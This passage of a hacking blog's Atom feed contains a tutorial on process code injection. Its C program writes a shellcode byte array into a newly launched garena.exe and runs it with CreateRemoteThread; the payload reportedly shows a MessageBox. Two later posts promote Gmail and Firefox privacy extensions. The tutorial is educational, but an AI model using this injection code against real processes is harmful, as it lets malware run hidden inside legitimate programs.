&lt;/div&gt;&lt;div&gt;each line represents different set of instructions&lt;/div&gt;&lt;div&gt;which can be formed as 0x33 0xc0 0x50 0xB8 0xFD 0x98 0xE7 0x77 0xFF 0xD0,&lt;/div&gt;&lt;div&gt;this is its pure form is a code for calling exitprocess api of windows which can terimate any process, should it be called from any process&#39;s context.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;Now we have our resources, we require a little bit knowledge on different type of files.&lt;/div&gt;&lt;div&gt;.cpl control panel extension&lt;/div&gt;&lt;div&gt;.exe portable executable&lt;/div&gt;&lt;div&gt;.dll dynamic link library&lt;/div&gt;&lt;div&gt;.ocx Visual basic library&lt;/div&gt;&lt;div&gt;.sys system driver&lt;/div&gt;&lt;div&gt;.scr screensaver file&lt;/div&gt;&lt;div&gt;.drv driver&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;what we are concerned about here is .dll and .exe&lt;/div&gt;&lt;div&gt;theory&lt;/div&gt;&lt;div&gt;using dev-CPP which is an open source C++ compiler&lt;/div&gt;&lt;div&gt;we will create a sample dll which prints helloworld message.&lt;/div&gt;&lt;div&gt;dll name = sample.dll&lt;/div&gt;&lt;div&gt;then to inject that dll into another process&#39;s context means &lt;/div&gt;&lt;div&gt;Creating the process in suspended state&lt;/div&gt;&lt;div&gt;allocating memory of 11bytes&lt;/div&gt;&lt;div&gt;write in it &quot;sample.dll&quot;&lt;/div&gt;&lt;div&gt;then create thread on target process.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;in practice:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;then Create a source file in dev-CPP&lt;/div&gt;&lt;div&gt;write this&lt;/div&gt;&lt;div&gt;&lt;div&gt;#include&lt;windows.h&gt;&lt;/windows.h&gt;&lt;/div&gt;&lt;div&gt;#include&lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/div&gt;&lt;div&gt;#include&lt;conio.h&gt;&lt;/conio.h&gt;&lt;/div&gt;&lt;div&gt;BOOL WriteProcessBytes(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;DWORD dwOldProtect; &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;BOOL boolReturn = FALSE; &lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if(hProcess == NULL) &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{ &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;VirtualProtect(lpBaseAddress, nSize, PAGE_EXECUTE_READWRITE, &amp;amp;dwOldProtect); &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;boolReturn = ((memcpy(lpBaseAddress, lpBuffer, nSize))? 1 : 0); &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;VirtualProtect(lpBaseAddress, nSize, dwOldProtect, &amp;amp;dwOldProtect); &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;} &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;else &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{ &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;VirtualProtectEx(hProcess, lpBaseAddress, nSize, PAGE_EXECUTE_READWRITE, &amp;amp;dwOldProtect); &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;boolReturn = WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)lpBuffer, nSize, 0); &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;VirtualProtectEx(hProcess, lpBaseAddress, nSize, dwOldProtect, &amp;amp;dwOldProtect); &lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;} &lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;return boolReturn;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;int main()&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;BYTE shellcode[]=&quot;\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2&quot;&lt;/div&gt;&lt;div&gt;&quot;\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c&quot;&lt;/div&gt;&lt;div&gt;&quot;\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b&quot;&lt;/div&gt;&lt;div&gt;&quot;\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff&quot;&lt;/div&gt;&lt;div&gt;&quot;\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b&quot;&lt;/div&gt;&lt;div&gt;&quot;\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a&quot;&lt;/div&gt;&lt;div&gt;&quot;\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01&quot;&lt;/div&gt;&lt;div&gt;&quot;\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74&quot;&lt;/div&gt;&lt;div&gt;&quot;\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c&quot;&lt;/div&gt;&lt;div&gt;&quot;\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66&quot;&lt;/div&gt;&lt;div&gt;&quot;\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04&quot;&lt;/div&gt;&lt;div&gt;&quot;\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2&quot;&lt;/div&gt;&lt;div&gt;&quot;\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e&quot;&lt;/div&gt;&lt;div&gt;&quot;\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45&quot;&lt;/div&gt;&lt;div&gt;&quot;\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52&quot;&lt;/div&gt;&lt;div&gt;&quot;\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c&quot;&lt;/div&gt;&lt;div&gt;&quot;\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75&quot;&lt;/div&gt;&lt;div&gt;&quot;\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56&quot;&lt;/div&gt;&lt;div&gt;&quot;\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d&quot;&lt;/div&gt;&lt;div&gt;&quot;\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff&quot;&lt;/div&gt;&lt;div&gt;&quot;\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42&quot;&lt;/div&gt;&lt;div&gt;&quot;\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24&quot;&lt;/div&gt;&lt;div&gt;&quot;\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d&quot;&lt;/div&gt;&lt;div&gt;&quot;\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f&quot;&lt;/div&gt;&lt;div&gt;&quot;\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9&quot;&lt;/div&gt;&lt;div&gt;&quot;\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53&quot;&lt;/div&gt;&lt;div&gt;&quot;\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08&quot;;  &lt;/div&gt;&lt;div&gt;HANDLE hProcess;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;//** Will be the process we inject&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;HMODULE hKernel;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;        &lt;/span&gt;//** Will hold Kernel module&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;LPVOID lpExecString, lpLoadLibraryAddr;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;//** Remote string and LoadLibrary() address holder&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;STARTUPINFO si;&lt;/div&gt;&lt;div&gt;PROCESS_INFORMATION pi;&lt;/div&gt;&lt;div&gt;ZeroMemory( &amp;amp;si, sizeof(si) );&lt;/div&gt;&lt;div&gt;si.cb = sizeof(si);&lt;/div&gt;&lt;div&gt;ZeroMemory( &amp;amp;pi, sizeof(pi) );&lt;/div&gt;&lt;div&gt;CreateProcess(NULL,&quot;C:\\Program Files (x86)\\Garena\\garena.exe&quot;, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL,&amp;amp;si,&amp;amp;pi); //** Attempt to gain access to user-defined process&lt;/div&gt;&lt;div&gt;//  ResumeThread(pi.hThread);&lt;/div&gt;&lt;div&gt;hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if(hProcess == INVALID_HANDLE_VALUE) //** Error&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return FALSE;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/div&gt;&lt;div&gt;lpExecString = (LPVOID)VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); &lt;/div&gt;&lt;div&gt;if(lpExecString==NULL){return 0;}&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if(WriteProcessBytes(hProcess, (LPVOID)lpExecString, shellcode, sizeof(shellcode)) == FALSE)&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{return FALSE;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpExecString, NULL, 0, NULL);&lt;/div&gt;&lt;div&gt;ResumeThread(pi.hThread);&lt;/div&gt;&lt;div&gt;CloseHandle(hProcess);&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;return TRUE;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;then run the file. as stated in Createprocess api garena.exe will start running and a thread will also run in context of it which will print a hello world messageBox&lt;/div&gt;&lt;div&gt;in above code we havent used any form of dll injection because i got hold of raw machine code which could be written in the process and thread be started from its shellcode[0]&#39;th position.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;this technique could be used to run custom code under another process.&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/4996435609422707155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/dll-injection-1.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/4996435609422707155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/4996435609422707155'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/dll-injection-1.html' title='Dll Injection +1'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-3805885899013758240</id><published>2011-10-18T15:54:00.001+05:30</published><updated>2011-10-18T15:54:35.423+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Chrome"/><category scheme="http://www.blogger.com/atom/ns#" term="E-Mails"/><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><title type='text'>Gmelius : Better &amp; Cleaner Gmail</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2dH3lF19WhoKXHI3FTilLXbhTzhYPj_lA81Zsrdg8fQ-jAasZg4npM9uNJKblYDeuoSSMKKMwLdl6VlJuWyw683As81NGOu9qhhR4pWxSLvyLfQSj1Ph7yBWUh9xp_XUhtfI15NQykuQ/s1600/unnamed.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2dH3lF19WhoKXHI3FTilLXbhTzhYPj_lA81Zsrdg8fQ-jAasZg4npM9uNJKblYDeuoSSMKKMwLdl6VlJuWyw683As81NGOu9qhhR4pWxSLvyLfQSj1Ph7yBWUh9xp_XUhtfI15NQykuQ/s1600/unnamed.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Gmelius&lt;/b&gt; is a poly-browser extension that removes ads in Gmail™ and enhances Gmail’s UI.&lt;br /&gt;
&lt;br /&gt;
No more ads in your Gmail. Simple, light and efficient. The only extension out there that removes completely all the ads you can find on Gmail and does much more (see UI optional features below).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidGvCeE4WulTzy_vITHv1nfILQtXVOboOsEZQVW7fZbZXcHWAdnixiqNwHhCcWlWvXWMpVBATD9jl0myeFj6VTn59YpVFWLXQ5WBEKdRePcuUrfKkSZDmnybGM8U-w97j_MAeVy1BVxfw/s1600/unnamed1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidGvCeE4WulTzy_vITHv1nfILQtXVOboOsEZQVW7fZbZXcHWAdnixiqNwHhCcWlWvXWMpVBATD9jl0myeFj6VTn59YpVFWLXQ5WBEKdRePcuUrfKkSZDmnybGM8U-w97j_MAeVy1BVxfw/s400/unnamed1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
Remove all ads in your Gmail, that is:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1&amp;nbsp; No ads at the top of your inbox, i.e. web clips&lt;br /&gt;
2&amp;nbsp; No ads at the right of your message&lt;br /&gt;
3&amp;nbsp; No ads at the bottom of your message&lt;br /&gt;
4&amp;nbsp; No Google Products/Services ads in the footer&lt;br /&gt;
5&amp;nbsp; Hide Invite a Friend Field&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
UI optional features (version 4.*):&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
1&amp;nbsp;&amp;nbsp;&amp;nbsp; Move &quot;Contacts&quot; and &quot;Tasks&quot; to top navigation bar&lt;br /&gt;
2&amp;nbsp;&amp;nbsp;&amp;nbsp; Make Header (i.e. Search Block &amp;amp; Logo) auto-expandable *&lt;br /&gt;
3&amp;nbsp;&amp;nbsp;&amp;nbsp; Make Gmail your default Email Client, i.e. open all email links with Gmail&lt;br /&gt;
4&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove the &quot;People Widget&quot; and use the space left to read/write your emails&lt;br /&gt;
5&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove Chat&lt;br /&gt;
6&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove Status of your contacts in Chat&lt;br /&gt;
7&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove scroll bars in Chat and Preview Pane (Lab)&lt;br /&gt;
8&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove Footer&lt;br /&gt;
9&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove &quot;Consider including&quot; when writing your emails&lt;br /&gt;
10&amp;nbsp; Disable the default row highlight added by Gmail Ad Remover&lt;br /&gt;
11&amp;nbsp; Change the color of row highlight on mouse over&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwWbO00AZjbP7F7m8rtdtqXxM6LhiQpXcm9MN2PbpQP7Ncbi9qJsF5OzaZKgBUJF8eTuIyYSsbXhNYOrPftbI-afv94Y3Zjb_0801RhA_788ckG_y48zHfzBijcUVybxDlf0Q3Gul2fZY/s1600/unnamed2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwWbO00AZjbP7F7m8rtdtqXxM6LhiQpXcm9MN2PbpQP7Ncbi9qJsF5OzaZKgBUJF8eTuIyYSsbXhNYOrPftbI-afv94Y3Zjb_0801RhA_788ckG_y48zHfzBijcUVybxDlf0Q3Gul2fZY/s400/unnamed2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheILjI58MPeUkpX9n2cnSJaIkRDE4l5x6OdGUe19CxuAkUeTasek4y36J4l7QG36Sh0nL18lJsZl-MxIa8HK6mu8IcvfrTlE1IQQysKs9BdmVq_7gX1AEk9eCuDTiXEu1QmCqDdC5h3YI/s1600/unnamed4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheILjI58MPeUkpX9n2cnSJaIkRDE4l5x6OdGUe19CxuAkUeTasek4y36J4l7QG36Sh0nL18lJsZl-MxIa8HK6mu8IcvfrTlE1IQQysKs9BdmVq_7gX1AEk9eCuDTiXEu1QmCqDdC5h3YI/s400/unnamed4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;♠ About the Permissions:&lt;/b&gt;&lt;br /&gt;
This extension will never access, read, store, or transmit your personal data.&lt;br /&gt;
&lt;br /&gt;
The &quot;This extension can access your data on all websites&quot; warning comes from the optional feature which replaces all &quot;mailto:&quot; links in websites you visit and opens them with Gmail via a short script. By leaving this option unchecked, you won&#39;t make use of the latter script.&lt;br /&gt;
&lt;br /&gt;
The &quot;Your tabs and browsing activity&quot; comes from&amp;nbsp; the fact that this extension modifies the style and UI of Gmail within your browser and so needs to know whether Gmail is open in your browser (i.e. tabs) to apply those changes.&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJW05zpPOG6MJCkO-Ev3FLDE82ILMQHUjRNmsTdCBn47vtdVnYVyFInTyJnk2hkCOs5KZxiSVGd8q5DfPai-A_rMtCNqamTgGSwRJKqu9JCpnBoFuJSccBMko_7cY9KjM3TObS5i4DIoU/s1600/unnamed3.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJW05zpPOG6MJCkO-Ev3FLDE82ILMQHUjRNmsTdCBn47vtdVnYVyFInTyJnk2hkCOs5KZxiSVGd8q5DfPai-A_rMtCNqamTgGSwRJKqu9JCpnBoFuJSccBMko_7cY9KjM3TObS5i4DIoU/s400/unnamed3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Try it now in &lt;a href=&quot;https://chrome.google.com/webstore/detail/dheionainndbbpoacpnopgmnihkcmnkl&quot; target=&quot;_blank&quot;&gt;Google Chrome&lt;/a&gt;!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/3805885899013758240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/gmelius-better-cleaner-gmail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/3805885899013758240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/3805885899013758240'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/gmelius-better-cleaner-gmail.html' title='Gmelius : Better &amp; Cleaner Gmail'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2dH3lF19WhoKXHI3FTilLXbhTzhYPj_lA81Zsrdg8fQ-jAasZg4npM9uNJKblYDeuoSSMKKMwLdl6VlJuWyw683As81NGOu9qhhR4pWxSLvyLfQSj1Ph7yBWUh9xp_XUhtfI15NQykuQ/s72-c/unnamed.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-6615301074838511390</id><published>2011-10-06T00:37:00.000+05:30</published><updated>2011-10-06T00:37:55.773+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><title type='text'>Prevent FaceBook From Tracking You !!!</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7rOHrWzvqWLug9VB5VpMvmVz6AkV1SJ7x4g06FAr-FWrD7kXwzOnYuJDKkznfJbj4XGqpcaKDEChlmc-U0alm78hZijTJy6dIwSR8t_0SGSF_EhkzIygTaVnLu6NyYb0XUnxhzdzb7-o/s1600/Untitled.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;83&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7rOHrWzvqWLug9VB5VpMvmVz6AkV1SJ7x4g06FAr-FWrD7kXwzOnYuJDKkznfJbj4XGqpcaKDEChlmc-U0alm78hZijTJy6dIwSR8t_0SGSF_EhkzIygTaVnLu6NyYb0XUnxhzdzb7-o/s400/Untitled.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;A Few days back we had Talked about &quot;&lt;a href=&quot;http://teamhackaholic.blogspot.com/2011/09/facebook-track-your-cookies-even-after.html&quot;&gt;&lt;b&gt;Facebook track your cookies even after logout&lt;/b&gt;&lt;/a&gt;&quot;.  Do you know how these social networking sites like Facebook, Google+, and  Twitter tracks your visits to any web page that uses the familiar  &quot;Like&quot;, &quot;Follow&quot;, or &quot;+1&quot; buttons, even if you do not actually click  these buttons?&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;I being a bit concerned about my privacy, have already  installed privacy addons like Ghostery, Adblock Plus &amp;amp; hope a few of you might have done the same, but here’s a new  addition to your privacy toolkit – &lt;b&gt;Priv3&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Priv3 is different from addons like Ghostery. For example, Ghostery  blocks social sharing buttons (+1, Like, Tweet buttons) and other social  snippets (Facebook comments, Facebook connect) completely, so you may  feel disconnected.&lt;br /&gt;
&lt;br /&gt;
Priv3 maintains &amp;amp; protects your privacy by blocking trackers, but still shows social  snippets like Facebook Comments, +1, like buttons so you don’t miss any  content. Once you interact with the social snippet, it reloads the  cookies and tracking starts again, so unless and until you interact with  the snippet, the addon keeps blocking the trackers.&lt;br /&gt;
&lt;br /&gt;
Now for Chrome user&#39;s its bit of an&amp;nbsp;disappointment&amp;nbsp;as Priv3 is only  available for Firefox, so all they can do is wait for a Chrome version of  it. If you’re a Firefox user, check it out and also tell us what you  think of it.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://priv3.icsi.berkeley.edu/&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Times, &#39;Times New Roman&#39;, serif; font-size: large;&quot;&gt;Download&amp;nbsp;The Priv3 Firefox Extension&lt;/span&gt;&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/6615301074838511390/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/prevent-facebook-from-tracking-you.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6615301074838511390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6615301074838511390'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/10/prevent-facebook-from-tracking-you.html' title='Prevent FaceBook From Tracking You !!!'/><author><name>VaiBhaV -&amp;gt; The ACE</name><uri>http://www.blogger.com/profile/13121608304802974190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCdiM2M_QqUaJdGxb859OM3zyQk7bVbSZKmdqS0ZxcgYeAuv7-jxHGkO4n8pW6KULSUdVVAqTeDp3GMWSKujztVVnuUNOm-saxAHjF73PcVc5o1M1Thvzt14c60fT8hA/s220/Slide1.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 